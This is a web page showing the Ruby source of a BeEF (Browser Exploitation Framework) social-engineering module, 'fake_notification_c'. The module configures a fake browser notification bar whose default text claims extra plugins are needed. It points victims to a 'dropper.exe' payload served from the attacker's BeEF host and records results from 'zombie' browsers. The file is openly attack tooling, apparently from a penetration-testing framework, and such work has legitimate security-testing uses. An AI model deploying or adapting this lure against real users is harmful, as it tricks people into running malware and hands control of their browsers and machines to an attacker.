Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/social_engineering/fake_notification_c/module.rb
1154 views
1
#
2
# Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
# Browser Exploitation Framework (BeEF) - https://beefproject.com
4
# See the file 'doc/COPYING' for copying permission
5
#
6
class Fake_notification_c < BeEF::Core::Command
7
def self.options
8
@configuration = BeEF::Core::Configuration.instance
9
proto = @configuration.beef_proto
10
beef_host = @configuration.beef_host
11
beef_port = @configuration.beef_port
12
base_host = "#{proto}://#{beef_host}:#{beef_port}"
13
14
[
15
{ 'name' => 'url', 'ui_label' => 'URL', 'value' => "#{base_host}/dropper.exe", 'width' => '150px' },
16
{ 'name' => 'notification_text',
17
'description' => 'Text displayed in the notification bar',
18
'ui_label' => 'Notification text',
19
'value' => 'Additional plugins are required to display all the media on this page.' }
20
]
21
end
22
23
#
24
# This method is being called when a zombie sends some
25
# data back to the framework.
26
#
27
def post_execute
28
content = {}
29
content['result'] = @datastore['result']
30
save content
31
end
32
end
33
34